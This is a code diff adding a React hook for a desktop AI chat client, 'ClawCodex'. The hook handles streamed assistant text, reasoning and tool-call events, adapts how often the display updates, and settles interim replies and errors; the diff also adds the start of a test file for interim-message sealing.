+        // the failed turn (same intent as the message.complete clear).
+        if (sessionId) {
+          clearAllPrompts(sessionId)
+          clearClarifyRequest(undefined, sessionId)
+          clearActiveSessionTodos(sessionId)
+          setSessionCompacting(sessionId, false)
+          compactedTurnRef.current.delete(sessionId)
+        }
+
+        if (isActiveEvent) {
+          setPetActivity({ reasoning: false, toolRunning: false })
+          flashPetActivity({ error: true })
+        }
+
+        dispatchNativeNotification({
+          body: errorMessage,
+          kind: 'turnError',
+          sessionId,
+          title: translateNow('notifications.native.turnErrorTitle')
+        })
+
+        if (looksLikeProviderSetup) {
+          requestDesktopOnboarding(errorMessage)
+        } else if (isDiskFullErrorMessage(errorMessage)) {
+          notifyError(new Error(errorMessage), translateNow('notifications.errors.diskFull'))
+        } else {
+          // Toast globally, not just when the failing thread is focused: a
+          // turn-ending error (e.g. out of funds) blocks every thread, so the
+          // inline error alone is too easy to miss. The stable id collapses the
+          // same error from multiple blocked threads into one toast.
+          notify({
+            id: `gateway-error:${errorMessage}`,
+            kind: 'error',
+            title: 'ClawCodex error',
+            message: errorMessage
+          })
+        }
+
+        if (sessionId) {
+          flushQueuedDeltas(sessionId)
+          failAssistantMessage(sessionId, errorMessage)
+        }
+
+        if (isActiveEvent) {
+          setTurnStartedAt(null)
+        }
+      }
+    },
+    [
+      appendAssistantDelta,
+      appendReasoningDelta,
+      activeSessionIdRef,
+      activeGatewayProfile,
+      compactedTurnRef,
+      completeAssistantMessage,
+      failAssistantMessage,
+      finalizeInterimAssistantMessage,
+      flushQueuedDeltas,
+      lastCwdInfoSessionRef,
+      nativeSubagentSessionsRef,
+      queryClient,
+      scheduleConfigRefresh,
+      sessionInterrupted,
+      sessionStateByRuntimeIdRef,
+      updateSessionState,
+      upsertToolCall
+    ]
+  )
+}
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/index.ts b/ui-desktop/src/app/session/hooks/use-message-stream/index.ts
new file mode 100644
index 000000000..7c95f376c
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/index.ts
@@ -0,0 +1,781 @@
+import type { QueryClient } from '@tanstack/react-query'
+import { type MutableRefObject, useCallback, useEffect, useRef } from 'react'
+
+import { translateNow } from '@/i18n'
+import {
+  appendAssistantTextPart,
+  appendReasoningPart,
+  assistantTextPart,
+  type ChatMessage,
+  type ChatMessagePart,
+  chatMessageText,
+  type GatewayEventPayload,
+  mergeFinalAssistantText,
+  reasoningPart,
+  renderMediaTags,
+  upsertToolPart
+} from '@/lib/chat-messages'
+import {
+  dedupeGeneratedImageEchoesInParts,
+  generatedImageEchoSources,
+  stripGeneratedImageEchoes
+} from '@/lib/generated-images'
+import { parseTodos } from '@/lib/todos'
+import { dispatchNativeNotification } from '@/store/native-notifications'
+import { isDiskFullErrorMessage, notifyError } from '@/store/notifications'
+import { broadcastSessionsChanged } from '@/store/session-sync'
+import { upsertSubagent } from '@/store/subagents'
+import { setSessionTodos } from '@/store/todos'
+
+import type { ClientSessionState } from '../../../types'
+
+import { useGatewayEventHandler } from './gateway-event'
+import { completionErrorText, delegateTaskPayloads, MAX_STREAM_FLUSH_GAP_MS, STREAM_DELTA_FLUSH_MS } from './utils'
+
+interface MessageStreamOptions {
+  activeGatewayProfile?: string
+  activeSessionIdRef: MutableRefObject<string | null>
+  hydrateFromStoredSession: (
+    attempts?: number,
+    storedSessionId?: string | null,
+    runtimeSessionId?: string | null
+  ) => Promise<void>
+  queryClient: QueryClient
+  refreshClawCodexConfig: () => Promise<void>
+  refreshSessions: () => Promise<void>
+  sessionStateByRuntimeIdRef: MutableRefObject<Map<string, ClientSessionState>>
+  updateSessionState: (
+    sessionId: string,
+    updater: (state: ClientSessionState) => ClientSessionState,
+    storedSessionId?: string | null
+  ) => ClientSessionState
+}
+
+interface QueuedStreamDeltas {
+  assistant: string
+  reasoning: string
+}
+
+// Date.now() alone can collide when an interim seal and the next segment's
+// first delta land in the same millisecond — the new segment would then find
+// the sealed bubble by id and append into it instead of starting fresh.
+let streamMessageSeq = 0
+
+const nextStreamMessageId = (prefix: string) => `${prefix}-${Date.now()}-${++streamMessageSeq}`
+
+export function useMessageStream({
+  activeGatewayProfile = 'default',
+  activeSessionIdRef,
+  hydrateFromStoredSession,
+  queryClient,
+  refreshClawCodexConfig,
+  refreshSessions,
+  sessionStateByRuntimeIdRef,
+  updateSessionState
+}: MessageStreamOptions) {
+  const sessionInterrupted = useCallback(
+    (sessionId: string) => sessionStateByRuntimeIdRef.current.get(sessionId)?.interrupted ?? false,
+    [sessionStateByRuntimeIdRef]
+  )
+
+  // Patch the in-flight assistant message (or seed it). Centralises the
+  // streamId/groupId bookkeeping every event callback would otherwise repeat.
+  const mutateStream = useCallback(
+    (
+      sessionId: string,
+      transform: (parts: ChatMessagePart[], message: ChatMessage) => ChatMessagePart[],
+      seed: () => ChatMessagePart[],
+      opts: {
+        pending?: (message: ChatMessage) => boolean
+      } = {}
+    ) => {
+      const apply = () => {
+        updateSessionState(sessionId, state => {
+          // After a stop, drop any late deltas / tool events for the
+          // cancelled turn so they don't keep growing the (now finalized)
+          // assistant bubble or, worse, seed a brand-new bubble that
+          // appears to belong to the next user message.
+          if (state.interrupted) {
+            return state
+          }
+
+          const streamId = state.streamId ?? nextStreamMessageId('assistant-stream')
+          const groupId = state.pendingBranchGroup ?? undefined
+          const prev = state.messages
+          let nextMessages: ChatMessage[]
+
+          if (!prev.some(m => m.id === streamId)) {
+            nextMessages = [
+              ...prev,
+              {
+                id: streamId,
+                role: 'assistant',
+                parts: seed(),
+                pending: true,
+                branchGroupId: groupId
+              }
+            ]
+          } else {
+            nextMessages = prev.map(m =>
+              m.id === streamId
+                ? {
+                    ...m,
+                    parts: transform(m.parts, m),
+                    pending: opts.pending ? opts.pending(m) : true
+                  }
+                : m
+            )
+          }
+
+          return {
+            ...state,
+            messages: nextMessages,
+            streamId,
+            sawAssistantPayload: true,
+            awaitingResponse: false
+          }
+        })
+      }
+
+      apply()
+    },
+    [updateSessionState]
+  )
+
+  // Turn-complete triggers a full sidebar refresh (recents + cron + messaging
+  // REST fan-out, each scanning profile state.dbs server-side) plus a
+  // cross-window broadcast that makes every other window do the same. Parallel
+  // tiles / multi-window finishing near-simultaneously used to multiply that.
+  // Coalesce completions into one trailing refresh per burst — a ~300ms title
+  // lag is invisible; the redundant aggregator scans are not.
+  const sessionsRefreshTimerRef = useRef<null | number>(null)
+
+  const scheduleSessionsRefresh = useCallback(() => {
+    if (sessionsRefreshTimerRef.current !== null) {
+      return
+    }
+
+    const run = () => {
+      sessionsRefreshTimerRef.current = null
+      void refreshSessions().catch(() => undefined)
+      // Sync freshly-titled rows to other windows (e.g. main, when the turn
+      // ran in the pop-out).
+      broadcastSessionsChanged()
+    }
+
+    if (typeof window === 'undefined') {
+      run()
+
+      return
+    }
+
+    sessionsRefreshTimerRef.current = window.setTimeout(run, 300)
+  }, [refreshSessions])
+
+  useEffect(
+    () => () => {
+      if (sessionsRefreshTimerRef.current !== null && typeof window !== 'undefined') {
+        window.clearTimeout(sessionsRefreshTimerRef.current)
+        sessionsRefreshTimerRef.current = null
+      }
+    },
+    []
+  )
+
+  const queuedDeltasRef = useRef<Map<string, QueuedStreamDeltas>>(new Map())
+  const flushHandleRef = useRef<number | null>(null)
+  const lastFlushAtRef = useRef<number>(0)
+  // What the previous flush cost on the main thread — drives the adaptive
+  // flush floor in scheduleDeltaFlush so multi-stream load yields to input.
+  const lastFlushCostRef = useRef<number>(0)
+  // The pending commit-cost measurement rAF, so a newer flush (or unmount)
+  // can cancel it instead of letting parked callbacks pile up while hidden.
+  const measureRafRef = useRef<number | null>(null)
+  const nativeSubagentSessionsRef = useRef<Set<string>>(new Set())
+  // Turns that auto-compacted: skip post-turn hydrate so live scrollback survives.
+  const compactedTurnRef = useRef<Set<string>>(new Set())
+  // Last session we applied a session.info cwd for — lets us tell an agent
+  // relocating the SAME session (follow it) from a session switch (don't yank).
+  const lastCwdInfoSessionRef = useRef<null | string>(null)
+
+  const flushQueuedDeltas = useCallback(
+    (sessionId?: string) => {
+      const queue = queuedDeltasRef.current
+      const ids = sessionId ? [sessionId] : [...queue.keys()]
+
+      for (const id of ids) {
+        const queued = queue.get(id)
+
+        if (!queued) {
+          continue
+        }
+
+        queue.delete(id)
+
+        if (queued.assistant) {
+          mutateStream(
+            id,
+            parts => dedupeGeneratedImageEchoesInParts(appendAssistantTextPart(parts, queued.assistant)),
+            () => [assistantTextPart(queued.assistant)]
+          )
+        }
+
+        if (queued.reasoning) {
+          mutateStream(
+            id,
+            parts => appendReasoningPart(parts, queued.reasoning),
+            () => [reasoningPart(queued.reasoning)]
+          )
+        }
+      }
+    },
+    [mutateStream]
+  )
+
+  const scheduleDeltaFlush = useCallback(() => {
+    if (flushHandleRef.current !== null) {
+      return
+    }
+
+    if (typeof window === 'undefined') {
+      flushQueuedDeltas()
+
+      return
+    }
+
+    // Enforce a floor on the gap between two flushes. Without it, an LLM
+    // emitting tokens slower than the rAF cadence (~30-80 tok/sec is typical)
+    // forces one React commit + Streamdown re-parse per token, and the
+    // last-block markdown re-parse cost is roughly linear in current block
+    // length. With this floor, slower streams still coalesce ~2 tokens per
+    // commit and the synthetic harness shows longtask counts drop from ~5/5s
+    // to ~1/5s on big sessions (see scripts/profile-typing-lag.md).
+    //
+    // ADAPTIVE: the floor scales with what the last flush actually cost.
+    // With several sessions streaming at once (split tiles), one flush carries
+    // every stream's commit + markdown re-parse; when that work approaches or
+    // exceeds the fixed 33ms budget, back-to-back flushes leave the main
+    // thread no idle frames and every interaction (typing, resize, hover)
+    // stutters even though no render is wasted. Yielding 3x the measured cost
+    // keeps the thread ~75% idle for input at any load: cheap flushes stay at
+    // 30fps of text growth, expensive multi-stream flushes degrade text fps
+    // instead of interactivity — capped so text never updates slower than 4/s.
+    // The cost has to include the deferred view-sync frame where the commit
+    // actually happens; see runFlush below.
+    const sinceLast = performance.now() - lastFlushAtRef.current
+
+    const adaptiveFloor = Math.min(
+      Math.max(STREAM_DELTA_FLUSH_MS, lastFlushCostRef.current * 3),
+      MAX_STREAM_FLUSH_GAP_MS
+    )
+
+    const runFlush = () => {
+      flushHandleRef.current = null
+      const startedAt = performance.now()
+      lastFlushAtRef.current = startedAt
+      flushQueuedDeltas()
+      // The store write above is only the cheap half of a flush. While a
+      // session streams, syncSessionStateToView defers the $messages publish
+      // (and with it the React commit + Streamdown re-parse the floor is meant
+      // to account for) to its own rAF inside updateSessionState, which runs
+      // after this timer task. Stopping the clock here pins lastFlushCostRef
+      // near zero and collapses the adaptive floor to 33ms no matter the load.
+      // Our rAF is registered after the view-sync one, so it runs in the same
+      // frame right after that commit; its timestamp marks frame start, so
+      // (now - frameStart) counts only work done inside the frame, not the
+      // vsync wait. A hidden renderer never fires rAF, so the write cost
+      // stays as the fallback.
+      const writeCost = performance.now() - startedAt
+      lastFlushCostRef.current = writeCost
+
+      // At most one measurement rAF may be pending: only the newest flush's
+      // measurement matters (the guard below discards stale frames), and a
+      // hidden renderer parks rAF callbacks — without cancellation a long
+      // hidden stream at the floor would accumulate thousands of parked
+      // closures that all fire in the first frame on refocus.
+      if (measureRafRef.current !== null) {
+        window.cancelAnimationFrame(measureRafRef.current)
+      }
+
+      measureRafRef.current = window.requestAnimationFrame(frameStart => {
+        measureRafRef.current = null
+
+        // A newer flush already started; its own measurement wins.
+        if (lastFlushAtRef.current !== startedAt) {
+          return
+        }
+
+        lastFlushCostRef.current = writeCost + Math.max(0, performance.now() - frameStart)
+      })
+    }
+
+    // Always a timer, never requestAnimationFrame. Chromium pauses rAF for a
+    // renderer it considers hidden, and "hidden" is not something this code can
+    // verify: while a turn is in flight the main process unthrottles every chat
+    // window (stream-throttle.ts), but that doesn't guarantee frames for a
+    // minimized window, a fully off-screen one, or a renderer the compositor
+    // has otherwise parked. In those states an rAF-gated flush never runs, so a
+    // finished answer sits in this queue until some later input or focus event
+    // happens to wake a frame — the reply looks stalled, then arrives all at
+    // once on refocus.
+    //
+    // A timer keeps the same coalescing cadence (that's what the floor above is
+    // for) while guaranteeing delivery without user interaction. Timers are
+    // clamped in background renderers rather than suspended, and the
+    // stream-aware unthrottle lifts even that clamp for the life of the turn;
+    // in the worst case (a delta arriving before the unthrottle lands) the
+    // clamp only stretches one flush to ~1s in a window nobody can see.
+    flushHandleRef.current = window.setTimeout(runFlush, Math.max(0, adaptiveFloor - sinceLast))
+  }, [flushQueuedDeltas])
+
+  const queueDelta = useCallback(
+    (sessionId: string, key: keyof QueuedStreamDeltas, delta: string) => {
+      if (!delta) {
+        return
+      }
+
+      const queued = queuedDeltasRef.current.get(sessionId) ?? { assistant: '', reasoning: '' }
+      queued[key] += delta
+      queuedDeltasRef.current.set(sessionId, queued)
+      scheduleDeltaFlush()
+    },
+    [scheduleDeltaFlush]
+  )
+
+  useEffect(
+    () => () => {
+      if (flushHandleRef.current !== null && typeof window !== 'undefined') {
+        window.clearTimeout(flushHandleRef.current)
+      }
+
+      flushHandleRef.current = null
+
+      if (measureRafRef.current !== null && typeof window !== 'undefined') {
+        window.cancelAnimationFrame(measureRafRef.current)
+      }
+
+      measureRafRef.current = null
+      flushQueuedDeltas()
+    },
+    [flushQueuedDeltas]
+  )
+
+  // Page Visibility does not report every Windows/Linux focus transition.
+  // Flush queued deltas on both signals so returning to a chat cannot leave a
+  // completed chunk waiting for the next throttled timer.
+  // eslint-disable-next-line no-restricted-syntax -- timer-handle clear inside effect, not an atom mirror
+  useEffect(() => {
+    const flushPendingDeltas = () => {
+      if (flushHandleRef.current !== null) {
+        window.clearTimeout(flushHandleRef.current)
+        flushHandleRef.current = null
+      }
+
+      flushQueuedDeltas()
+    }
+
+    const flushWhenVisible = () => {
+      if (document.visibilityState === 'visible') {
+        flushPendingDeltas()
+      }
+    }
+
+    document.addEventListener('visibilitychange', flushWhenVisible)
+    window.addEventListener('focus', flushPendingDeltas)
+
+    return () => {
+      document.removeEventListener('visibilitychange', flushWhenVisible)
+      window.removeEventListener('focus', flushPendingDeltas)
+    }
+  }, [flushQueuedDeltas])
+
+  const appendAssistantDelta = useCallback(
+    (sessionId: string, delta: string) => {
+      if (!delta) {
+        return
+      }
+
+      queueDelta(sessionId, 'assistant', delta)
+    },
+    [queueDelta]
+  )
+
+  const appendReasoningDelta = useCallback(
+    (sessionId: string, delta: string, replace = false) => {
+      if (!delta) {
+        return
+      }
+
+      if (!replace) {
+        queueDelta(sessionId, 'reasoning', delta)
+
+        return
+      }
+
+      flushQueuedDeltas(sessionId)
+
+      mutateStream(
+        sessionId,
+        (parts, message) => {
+          if (replace && chatMessageText(message).trim()) {
+            return parts
+          }
+
+          if (replace) {
+            return [...parts.filter(part => part.type !== 'reasoning'), reasoningPart(delta)]
+          }
+
+          return appendReasoningPart(parts, delta)
+        },
+        () => [reasoningPart(delta)]
+      )
+    },
+    [flushQueuedDeltas, mutateStream, queueDelta]
+  )
+
+  const upsertToolCall = useCallback(
+    (
+      sessionId: string,
+      payload: GatewayEventPayload | undefined,
+      phase: 'running' | 'complete',
+      sourceEventType?: string
+    ) => {
+      // Text deltas flush on a timer but tool events apply now; flush first so
+      // a tool part can't jump ahead of the text that preceded it.
+      flushQueuedDeltas(sessionId)
+
+      if (sessionInterrupted(sessionId)) {
+        return
+      }
+
+      // The composer status stack owns todo display now (no inline panel) —
+      // mirror every todo state the tool reports into its session store.
+      if (payload?.name === 'todo') {
+        const todos = parseTodos(payload.todos) ?? parseTodos(payload.result) ?? parseTodos(payload.args)
+
+        if (todos) {
+          setSessionTodos(sessionId, todos)
+        }
+      }
+
+      if (!nativeSubagentSessionsRef.current.has(sessionId)) {
+        for (const subagentPayload of delegateTaskPayloads(payload, phase, sourceEventType)) {
+          upsertSubagent(
+            sessionId,
+            subagentPayload,
+            true,
+            phase === 'complete' ? 'delegate.complete' : 'delegate.running'
+          )
+        }
+      }
+
+      mutateStream(
+        sessionId,
+        parts => dedupeGeneratedImageEchoesInParts(upsertToolPart(parts, payload, phase)),
+        () => upsertToolPart([], payload, phase),
+        { pending: m => phase !== 'complete' || (m.pending ?? false) }
+      )
+    },
+    [flushQueuedDeltas, mutateStream, sessionInterrupted]
+  )
+
+  const finalizeInterimAssistantMessage = useCallback(
+    (sessionId: string, text: string) => {
+      updateSessionState(sessionId, state => {
+        if (state.interrupted) {
+          return state
+        }
+
+        const authoritativeText = renderMediaTags(text).trim()
+
+        if (!authoritativeText) {
+          return state
+        }
+
+        const streamId = state.streamId
+
+        const replaceTextPart = (parts: ChatMessagePart[]) => {
+          const visibleText = stripGeneratedImageEchoes(authoritativeText, generatedImageEchoSources(parts)).trim()
+
+          return mergeFinalAssistantText(parts, visibleText)
+        }
+
+        let nextMessages = state.messages
+
+        if (streamId && nextMessages.some(m => m.id === streamId)) {
+          // Seal the streaming bubble in place, marked interim so it renders
+          // without an action footer (see ChatMessage.interim).
+          nextMessages = nextMessages.map(m =>
+            m.id === streamId ? { ...m, parts: replaceTextPart(m.parts), pending: false, interim: true } : m
+          )
+        } else {
+          // No streaming bubble — create a standalone interim message
+          nextMessages = [
+            ...nextMessages,
+            {
+              id: nextStreamMessageId('assistant-interim'),
+              role: 'assistant' as const,
+              parts: [assistantTextPart(authoritativeText)],
+              pending: false,
+              interim: true,
+              branchGroupId: state.pendingBranchGroup ?? undefined
+            }
+          ]
+        }
+
+        return {
+          ...state,
+          messages: nextMessages,
+          streamId: null,
+          interimBoundaryPending: true,
+          sawAssistantPayload: state.sawAssistantPayload || Boolean(authoritativeText)
+        }
+      })
+    },
+    [updateSessionState]
+  )
+
+  const completeAssistantMessage = useCallback(
+    (sessionId: string, text: string, responsePreviewed?: boolean, failure?: { error: string; partial: boolean }) => {
+      let shouldHydrate = false
+
+      const completedState = updateSessionState(sessionId, state => {
+        // Late completion from an already-cancelled turn: cancelRun has
+        // already finalized the bubble (kept the partial text, dropped it if
+        // empty). Re-running the dedupe below would replace the partial with
+        // the just-cancelled full text, so we settle and bail instead.
+        if (state.interrupted) {
+          return {
+            ...state,
+            awaitingResponse: false,
+            busy: false,
+            needsInput: false,
+            pendingBranchGroup: null,
+            streamId: null,
+            turnStartedAt: null
+          }
+        }
+
+        const streamId = state.streamId
+        const finalText = renderMediaTags(text).trim()
+        // Structured failure from the terminal frame wins over the legacy text
+        // heuristic ("Error: <provider detail>" texts don't match the regexes).
+        const completionError = failure?.error ?? completionErrorText(finalText)
+        // A partial failure's `text` is streamed output the user should keep,
+        // not the error string — settle it like a normal reply AND mark the
+        // bubble failed, instead of stripping the text.
+        const keepFailedPartialText = Boolean(failure?.partial && finalText)
+        const interimBoundaryPending = state.interimBoundaryPending
+
+        const replaceTextPart = (parts: ChatMessagePart[]) => {
+          const visibleFinalText = stripGeneratedImageEchoes(finalText, generatedImageEchoSources(parts)).trim()
+
+          return mergeFinalAssistantText(parts, visibleFinalText)
+        }
+
+        // Settling the final response onto a bubble makes it the turn's real
+        // reply — clear `interim` so it regains the action footer.
+        const completeMessage = (message: ChatMessage): ChatMessage => {
+          const settled = { ...message, pending: false, interim: false }
+
+          if (completionError && !keepFailedPartialText) {
+            return { ...settled, error: completionError, parts: message.parts.filter(part => part.type !== 'text') }
+          }
+
+          return {
+            ...settled,
+            parts: replaceTextPart(message.parts),
+            ...(completionError ? { error: completionError } : {})
+          }
+        }
+
+        const newAssistantFromCompletion = (): ChatMessage => ({
+          id: `assistant-${Date.now()}`,
+          role: 'assistant',
+          parts: completionError && !keepFailedPartialText ? [] : [assistantTextPart(finalText)],
+          branchGroupId: state.pendingBranchGroup ?? undefined,
+          ...(completionError && { error: completionError })
+        })
+
+        const prev = state.messages
+        let nextMessages = prev
+
+        if (streamId && prev.some(m => m.id === streamId)) {
+          nextMessages = prev.map(m => (m.id === streamId ? completeMessage(m) : m))
+        } else {
+          const fallbackIndex = [...prev]
+            .reverse()
+            .findIndex(message => message.role === 'assistant' && !message.hidden)
+
+          if (fallbackIndex >= 0) {
+            const index = prev.length - 1 - fallbackIndex
+            const existing = prev[index]
+            const existingText = chatMessageText(existing).trim()
+
+            // The last assistant row is a sealed interim (a tool-call turn or a
+            // verify-on-stop candidate — `message.interim` fires for BOTH, see
+            // tui_gateway `_load_interim_assistant_messages`). When the final
+            // completion is the SAME turn's reply, settle it onto that interim
+            // instead of appending a second bubble. Continuity, not exact
+            // equality: streaming can drop characters and the final may add a
+            // trailing delta, so treat prefix-either-way as the same message.
+            // (mergeFinalAssistantText, via completeMessage, does the real
+            // text merge — replaces the interim's text with the full final.)
+            const finalContinuesInterim = Boolean(
+              existing.interim &&
+              finalText &&
+              existingText &&
+              (finalText === existingText || finalText.startsWith(existingText) || existingText.startsWith(finalText))
+            )
+
+            if (existing.pending || (!interimBoundaryPending && finalText && existingText === finalText)) {
+              nextMessages = prev.map((message, messageIndex) =>
+                messageIndex === index ? completeMessage(message) : message
+              )
+            } else if (interimBoundaryPending && (responsePreviewed || finalContinuesInterim)) {
+              // Settle the interim in place instead of creating a duplicate —
+              // the DB has one row, so the live UI must agree. Previously this
+              // was gated on `responsePreviewed` alone, so a NON-previewed
+              // tool-call turn whose final matched its sealed interim appended a
+              // second bubble (the "renders twice: partial first copy + clean
+              // final" bug, #63679). `finalContinuesInterim` closes that gap
+              // for ordinary tool-call turns while `responsePreviewed` still
+              // covers the verify-on-stop continuation-budget case even when the
+              // final text was rewritten and no longer shares a prefix.
+              nextMessages = prev.map((message, messageIndex) =>
+                messageIndex === index ? completeMessage(message) : message
+              )
+            } else if (finalText) {
+              nextMessages = [...prev, newAssistantFromCompletion()]
+            }
+          } else if (finalText) {
+            nextMessages = [...prev, newAssistantFromCompletion()]
+          }
+        }
+
+        const hasInlineError = nextMessages.some(m => m.role === 'assistant' && m.error && !m.hidden)
+        const lastVisible = [...nextMessages].reverse().find(m => !m.hidden)
+        const unresolvedUserTail = lastVisible?.role === 'user'
+        shouldHydrate =
+          !completionError && !hasInlineError && !unresolvedUserTail && (!state.sawAssistantPayload || !finalText)
+
+        return {
+          ...state,
+          messages: nextMessages,
+          streamId: null,
+          pendingBranchGroup: null,
+          awaitingResponse: false,
+          busy: false,
+          needsInput: false,
+          interimBoundaryPending: false,
+          turnStartedAt: null
+        }
+      })
+
+      // Persistence / mid-turn disk-full failures land as a terminal frame with
+      // an error string, not a rejected prompt.submit. Toast them here so a
+      // full disk never looks like a silent no-reply. Only fire on actual
+      // failure signals — never on a healthy reply that happens to say
+      // "disk full".
+      const diskFullSignal = failure?.error || (failure ? text : '')
+
+      if (diskFullSignal && isDiskFullErrorMessage(diskFullSignal)) {
+        notifyError(new Error(diskFullSignal), translateNow('notifications.errors.diskFull'))
+      }
+
+      scheduleSessionsRefresh()
+
+      if (compactedTurnRef.current.delete(sessionId)) {
+        shouldHydrate = false
+      }
+
+      if (shouldHydrate) {
+        void hydrateFromStoredSession(3, completedState.storedSessionId, sessionId)
+      }
+
+      dispatchNativeNotification({
+        body: text.slice(0, 140) || translateNow('notifications.native.turnDoneBody'),
+        kind: 'turnDone',
+        sessionId,
+        title: translateNow('notifications.native.turnDoneTitle')
+      })
+    },
+    [hydrateFromStoredSession, scheduleSessionsRefresh, updateSessionState]
+  )
+
+  const failAssistantMessage = useCallback(
+    (sessionId: string, errorMessage: string) => {
+      updateSessionState(sessionId, state => {
+        const streamId = state.streamId ?? `assistant-error-${Date.now()}`
+        const groupId = state.pendingBranchGroup ?? undefined
+        const prev = state.messages
+        const error = errorMessage.trim() || 'ClawCodex reported an error'
+
+        const nextMessages = prev.some(m => m.id === streamId)
+          ? prev.map(message =>
+              message.id === streamId
+                ? {
+                    ...message,
+                    error,
+                    pending: false
+                  }
+                : message
+            )
+          : [
+              ...prev,
+              {
+                id: streamId,
+                role: 'assistant' as const,
+                parts: [],
+                error,
+                pending: false,
+                branchGroupId: groupId
+              }
+            ]
+
+        return {
+          ...state,
+          messages: nextMessages,
+          streamId: null,
+          pendingBranchGroup: null,
+          sawAssistantPayload: true,
+          awaitingResponse: false,
+          busy: false,
+          needsInput: false,
+          interimBoundaryPending: false,
+          turnStartedAt: null
+        }
+      })
+    },
+    [updateSessionState]
+  )
+
+  const handleGatewayEvent = useGatewayEventHandler({
+    activeGatewayProfile,
+    appendAssistantDelta,
+    appendReasoningDelta,
+    activeSessionIdRef,
+    compactedTurnRef,
+    lastCwdInfoSessionRef,
+    nativeSubagentSessionsRef,
+    completeAssistantMessage,
+    failAssistantMessage,
+    flushQueuedDeltas,
+    finalizeInterimAssistantMessage,
+    queryClient,
+    refreshClawCodexConfig,
+    sessionInterrupted,
+    sessionStateByRuntimeIdRef,
+    updateSessionState,
+    upsertToolCall
+  })
+
+  return {
+    appendAssistantDelta,
+    appendReasoningDelta,
+    completeAssistantMessage,
+    handleGatewayEvent,
+    finalizeInterimAssistantMessage,
+    upsertToolCall
+  }
+}
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/interim-sealing.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/interim-sealing.test.tsx
new file mode 100644
index 000000000..e80dfa4d3
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/interim-sealing.test.tsx
@@ -0,0 +1,314 @@
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { chatMessageText } from '@/lib/chat-messages'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import { clearSessionTodos } from '@/store/todos'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { useMessageStream } from './index'
+
+const SID = 'session-1'
+
+let handleEvent: ((event: RpcEvent) => void) | null = null
+let sessionStates: Map<string, ClientSessionState>
+let mockCompleteSound: ReturnType<typeof vi.fn>
+let mockHaptic: ReturnType<typeof vi.fn>
+
+function Harness() {
+  const activeSessionIdRef = useRef<string | null>(SID)
+  const sessionStateByRuntimeIdRef = useRef(new Map<string, ClientSessionState>())
+  const queryClientRef = useRef(new QueryClient())
+
+  const stream = useMessageStream({
+    activeSessionIdRef,
+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient: queryClientRef.current,
+    refreshClawCodexConfig: vi.fn(async () => undefined),
+    refreshSessions: vi.fn(async () => undefined),
+    sessionStateByRuntimeIdRef,
+    updateSessionState: (sessionId, updater) => {
+      const current = sessionStateByRuntimeIdRef.current.get(sessionId) ?? createClientSessionState()
+      const next = updater(current)
+      sessionStateByRuntimeIdRef.current.set(sessionId, next)
+      sessionStates.set(sessionId, next)
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    handleEvent = stream.handleGatewayEvent
+  }, [stream.handleGatewayEvent])
+
+  return null
+}
+
+async function mountStream() {
+  sessionStates = new Map()
+  render(<Harness />)
+  await waitFor(() => expect(handleEvent).not.toBeNull())
+}
+
+const start = () => act(() => handleEvent!({ payload: {}, session_id: SID, type: 'message.start' }))
+const delta = (text: string) => act(() => handleEvent!({ payload: { text }, session_id: SID, type: 'message.delta' }))
+
+const interim = (text: string) =>
+  act(() => handleEvent!({ payload: { text, already_streamed: true }, session_id: SID, type: 'message.interim' }))
+
+const complete = (text: string) =>
+  act(() => handleEvent!({ payload: { text }, session_id: SID, type: 'message.complete' }))
+
+const completePreviewed = (text: string) =>
+  act(() => handleEvent!({ payload: { text, response_previewed: true }, session_id: SID, type: 'message.complete' }))
+
+function getState(): ClientSessionState {
+  return sessionStates.get(SID) ?? createClientSessionState()
+}
+
+function assistantText(): string {
+  const state = getState()
+  const last = [...state.messages].reverse().find(m => m.role === 'assistant' && !m.hidden)
+
+  return last ? chatMessageText(last) : ''
+}
+
+function assistantMessages(): string[] {
+  const state = getState()
+
+  return state.messages
+    .filter(m => m.role === 'assistant' && !m.hidden)
+    .map(m => chatMessageText(m))
+    .filter(Boolean)
+}
+
+describe('useMessageStream interim text sealing', () => {
+  beforeEach(() => {
+    handleEvent = null
+    clearSessionTodos(SID)
+  })
+
+  afterEach(() => {
+    cleanup()
+    clearSessionTodos(SID)
+    vi.restoreAllMocks()
+  })
+
+  it('preserves interim text that the final response does not include', async () => {
+    await mountStream()
+    await start()
+
+    await delta('awaaaaa clean!! tsc zero errors')
+    await interim('awaaaaa clean!! tsc zero errors')
+
+    await complete('All checks passed.')
+
+    const texts = assistantMessages()
+    expect(texts).toContain('awaaaaa clean!! tsc zero errors')
+    expect(texts).toContain('All checks passed.')
+  })
+
+  it('marks sealed interim bubbles interim and leaves the final reply unmarked', async () => {
+    await mountStream()
+    await start()
+
+    await delta('Let me check the files.')
+    await interim('Let me check the files.')
+    await delta('Now the second pass.')
+    await interim('Now the second pass.')
+    await complete('All done.')
+
+    const assistants = getState().messages.filter(m => m.role === 'assistant' && !m.hidden)
+    const byText = (text: string) => assistants.find(m => chatMessageText(m) === text)
+
+    expect(byText('Let me check the files.')?.interim).toBe(true)
+    expect(byText('Now the second pass.')?.interim).toBe(true)
+    expect(byText('All done.')?.interim).toBeFalsy()
+  })
+
+  it('clears the interim mark when a previewed final settles onto the interim bubble', async () => {
+    await mountStream()
+    await start()
+
+    await interim('same reply')
+    await completePreviewed('same reply')
+
+    const assistants = getState().messages.filter(m => m.role === 'assistant' && !m.hidden)
+    expect(assistants).toHaveLength(1)
+    expect(assistants[0].interim).toBeFalsy()
+  })
+
+  it('dedupes interim text when the final response includes it', async () => {
+    await mountStream()
+    await start()
+
+    await delta('Let me check the files.')
+    await interim('Let me check the files.')
+
+    await complete('Let me check the files. Everything looks good.')
+
+    const texts = assistantMessages()
+    expect(texts).not.toContain('Let me check the files.Let me check the files.')
+    expect(texts.some(t => t.includes('Let me check the files. Everything looks good.'))).toBe(true)
+  })
+
